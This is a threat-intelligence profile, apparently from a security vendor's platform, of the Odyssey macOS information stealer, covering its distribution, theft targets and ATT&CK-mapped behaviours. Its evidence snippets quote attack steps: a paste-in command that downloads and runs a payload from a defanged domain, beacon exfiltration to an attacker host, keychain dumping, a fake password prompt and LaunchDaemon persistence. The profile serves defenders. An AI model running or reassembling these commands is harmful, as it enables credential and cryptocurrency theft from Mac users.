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Mallory
Malware

Odyssey

Tracked since Nov 26, 2025 · Updated 1 month ago
Trending this weekNot trendingOutside this week’s top 100
Mention activity · 30 daysNo mention activity in the last 30 days.
Vulns0Associated
Actors0Associated
ATT&CK31Techniques
IOCs8Tracked
Type
Infostealer
Capabilities
Credential theftSession hijackingExfiltrationPersistenceDefense evasionReconnaissanceCrypto theft
Delivery
ClickfixPhishingLanding pageLure
Platforms
macOS

Odyssey is a macOS information stealer distributed through a malware-as-a-service ecosystem. It is a successor and rebrand of Poseidon Stealer, which originated as a fork of Atomic macOS Stealer (AMOS). Operators distribute Odyssey through counterfeit software download pages and installers impersonating applications and tools such as TradingView, Microsoft Teams, Homebrew, and LogMeIn. ClickFix campaigns persuade victims to copy and execute attacker-supplied commands, including encoded AppleScript. Other distribution methods include malicious disk images and signed, notarized applications.

Odyssey steals browser passwords, cookies, autofill information, macOS login keychains, Apple Notes content and attachments, cryptocurrency wallet data, and selected user documents. It targets Chromium- and Gecko-based browsers as well as Safari, and collects data from desktop wallets and cryptocurrency-related browser extensions. The malware can display a deceptive application-helper prompt repeatedly until the victim supplies a valid local account password. It also gathers system inventory, stages collected information in an archive, and exfiltrates it to attacker-controlled infrastructure.

Observed variants establish persistence through a LaunchDaemon, remove execution artifacts, and replace Ledger Live with a trojanized application to facilitate further cryptocurrency theft. Odyssey's administration panel supports payload building, infected-host and stolen-log management, cryptocurrency seed-phrase handling, and configurable exfiltration. Its commercial distribution model enables multiple criminal operators and affiliates to conduct campaigns rather than tying the family to a single intrusion group.

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MITRE ATT&CK

Techniques & procedures

31 distinct techniques documented for this family, organized by ATT&CK tactic.

Initial Access

3 techniques
T1078Valid AccountsEvidence1

Stashes the captured password at ~/.pwd. (T1555, T1078)

T1195.002Compromise Software Supply ChainEvidence1

MITRE ATT&CK Mapping The Backdoor (scan-tron.link targeting Odyssey operators) Tactic Technique ID Initial Access Supply Chain Compromise T1195.002

T1566PhishingEvidence1

These attacks rely on fake software installers disguised as legitimate apps, tricking users into handing over access without raising any alarm.

Execution

4 techniques
T1053.003CronEvidence1

LaunchDaemon persistence: downloads a shell command string, wraps it in a random-named com.<random>.plist, installs to /Library/LaunchDaemons/, launchctl bootstrap system ...; falls back to nohup run if bootstrap fails. Requires sudo, hence the password prompt earlier. (T1543.004, T1053.003)

T1059.002AppleScriptEvidence2

One-liner launches a large embedded AppleScript with osascript -e 'run script ...'. No exploit, just script execution. (T1059.002)

T1059.004Unix ShellEvidence1

The command that’s copied for macOS devices instructs the system to... curl -o /tmp/update hxxps[:]//applemacios[.]com/getrur/update ... chmod +x /tmp/update ... Run the downloaded file /tmp/update.

T1204User ExecutionEvidence1

A malicious one looks identical but includes instructions on how to override Gatekeeper, Apple’s tool for verifying trusted software.

Persistence

5 techniques
T1053.003CronEvidence1

LaunchDaemon persistence: downloads a shell command string, wraps it in a random-named com.<random>.plist, installs to /Library/LaunchDaemons/, launchctl bootstrap system ...; falls back to nohup run if bootstrap fails. Requires sudo, hence the password prompt earlier. (T1543.004, T1053.003)

T1078Valid AccountsEvidence1

Stashes the captured password at ~/.pwd. (T1555, T1078)

T1543.004Launch DaemonEvidence1

LaunchDaemon persistence: downloads a shell command string, wraps it in a random-named com.<random>.plist, installs to /Library/LaunchDaemons/, launchctl bootstrap system ...; falls back to nohup run if bootstrap fails. Requires sudo, hence the password prompt earlier. (T1543.004, T1053.003)

T1547Boot or Logon Autostart ExecutionEvidence1

Per-bot actions: make persistent (survives reboot), execute remote shell commands, enable SOCKS proxy, re-run stealer.

T1556Modify Authentication ProcessEvidence1

MITRE ATT&CK Mapping The Backdoor (scan-tron.link targeting Odyssey operators) ... Defense Evasion Modify Authentication Process T1556

Privilege Escalation

4 techniques
T1053.003CronEvidence1

LaunchDaemon persistence: downloads a shell command string, wraps it in a random-named com.<random>.plist, installs to /Library/LaunchDaemons/, launchctl bootstrap system ...; falls back to nohup run if bootstrap fails. Requires sudo, hence the password prompt earlier. (T1543.004, T1053.003)

T1078Valid AccountsEvidence1

Stashes the captured password at ~/.pwd. (T1555, T1078)

T1543.004Launch DaemonEvidence1

LaunchDaemon persistence: downloads a shell command string, wraps it in a random-named com.<random>.plist, installs to /Library/LaunchDaemons/, launchctl bootstrap system ...; falls back to nohup run if bootstrap fails. Requires sudo, hence the password prompt earlier. (T1543.004, T1053.003)

T1547Boot or Logon Autostart ExecutionEvidence1

Per-bot actions: make persistent (survives reboot), execute remote shell commands, enable SOCKS proxy, re-run stealer.

Stealth

3 techniques
T1036MasqueradingEvidence2

Attackers invest heavily in making fake installers look exactly like the real thing, complete with branded graphics and instructions guiding victims to bypass Apple’s built-in protections.

T1070.004File DeletionEvidence1

Cleans up the working dir and /tmp/out.zip after upload. (T1070.004)

T1078Valid AccountsEvidence1

Stashes the captured password at ~/.pwd. (T1555, T1078)

Defense Impairment

1 technique
T1556Modify Authentication ProcessEvidence1

MITRE ATT&CK Mapping The Backdoor (scan-tron.link targeting Odyssey operators) ... Defense Evasion Modify Authentication Process T1556

Credential Access

9 techniques
T1056.002GUI Input CaptureEvidence1

Checks if it can auth the local user with dscl . authonly. If not, it prompts the user with a fake dialog: “Required Application Helper. Please enter device password to continue.” It loops until the correct password is entered. (T1056.002, T1110)

T1056.003Web Portal CaptureEvidence1

When the wrapper sees a POST request to /api/v1/sign-in, it extracts username and password from the request body Sends both to https://scan-tron[.]link/l?d=

T1110Brute ForceEvidence1

Checks if it can auth the local user with dscl . authonly. If not, it prompts the user with a fake dialog: “Required Application Helper. Please enter device password to continue.” It loops until the correct password is entered. (T1056.002, T1110)

T1539Steal Web Session CookieEvidence3

Credentials, browser cookies, authentication tokens, and crypto wallets are all fair game.

T1555Credentials from Password StoresEvidence2

Stashes the captured password at ~/.pwd. (T1555, T1078)

T1555.001KeychainEvidence1

Tries to pull the Chrome keychain item via security ... find-generic-password -ga "Chrome" and writes a “masterpass-chrome” file. (T1555.001)

T1555.003Credentials from Web BrowsersEvidence1

Browsers (Chromium family: Chrome, Brave, Edge, Vivaldi, Opera, OperaGX, Chromium, etc.) Walks every Default/Profile * profile and copies: Cookies, Web Data, Login Data (saved logins & autofill). (T1555.003)

T1556Modify Authentication ProcessEvidence1

MITRE ATT&CK Mapping The Backdoor (scan-tron.link targeting Odyssey operators) ... Defense Evasion Modify Authentication Process T1556

T1649Steal or Forge Authentication CertificatesEvidence1

Credentials, browser cookies, authentication tokens, and crypto wallets are all fair game.

Discovery

2 techniques
T1082System Information DiscoveryEvidence1

Gathers system inventory with system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType; stores it as “hardware” in a temp working dir /tmp/<random>/. (T1082)

T1614System Location DiscoveryEvidence1

if defaults read ~/Library/Preferences/com.apple.HIToolbox.plist AppleEnabledInputSources 2>/dev/null | grep -qi russian; then IS_CIS="true" fi ... if [ "$IS_CIS" = "true" ]; then send_debug_event "cis_blocked" ... exit 0 fi

Collection

7 techniques
T1005Data from Local SystemEvidence2

Local Extension Settings/ and IndexedDB/ for a very long allowlist of extension IDs (wallets, password managers, etc.). (T1005)

T1056.002GUI Input CaptureEvidence1

Checks if it can auth the local user with dscl . authonly. If not, it prompts the user with a fake dialog: “Required Application Helper. Please enter device password to continue.” It loops until the correct password is entered. (T1056.002, T1110)

T1056.003Web Portal CaptureEvidence1

When the wrapper sees a POST request to /api/v1/sign-in, it extracts username and password from the request body Sends both to https://scan-tron[.]link/l?d=

T1074Data StagedEvidence1

Mirrors directory trees but skips noisy caches (GPUCache, Code Cache, Crashpad, Cache, etc.). (T1074)

T1113Screen CaptureEvidence1

Apple Notes database (NoteStore.sqlite, -wal, -shm) + a fallback that talks to the Notes app to export note bodies into HTML; also vacuums Notes attachments from Notes “Media” folders. (T1119, T1113)

T1119Automated CollectionEvidence1

Apple Notes database (NoteStore.sqlite, -wal, -shm) + a fallback that talks to the Notes app to export note bodies into HTML; also vacuums Notes attachments from Notes “Media” folders. (T1119, T1113)

T1560Archive Collected DataEvidence1

Archives everything to /tmp/out.zip via ditto -c -k. (T1560)

Command and Control

2 techniques
T1090.001Internal ProxyEvidence1

SOCKS Proxy : Turn infected Macs into SOCKS proxies filtered by country code. Proxy URL generation for direct use.

T1105Ingress Tool TransferEvidence1

Same host serves secondary payloads at /otherassets/plist and /otherassets/ledger.zip. (T1105)

Exfiltration

2 techniques
T1041Exfiltration Over C2 ChannelEvidence3

Instead, they run a smash-and-grab, pulling sensitive data and sending it off to a remote server before the victim notices.

T1567Exfiltration Over Web ServiceEvidence1

Sends everything to https://scan-tron[.]link/c?d= as a URL-encoded JSON blob via an invisible Image() beacon ... Sends both to https://scan-tron[.]link/l?d= via the same Image beacon technique

Indicators of compromise

Observables

8 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.

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Indicator values are available in Mallory. Pivot on every hash, domain, URL, and IP, or pipe them straight into your SIEM.View all in Mallory
Activity feed

Recent activity

15 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.

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Mallory platform

The version that knows your environment.

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IOC matching8Match every observed IP, domain, and hash against your live telemetry.
Associated threat actorsGroups linked to this family, with evidence pinned to each claim.
Associated vulnerabilitiesCVEs linked to this family, with the reporting behind each link.
Detection signaturesYARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
MITRE ATT&CK mapping31Every documented technique, ranked by evidence weight.
Researcher chatterReddit, Mastodon, and CTI community discussion around this family.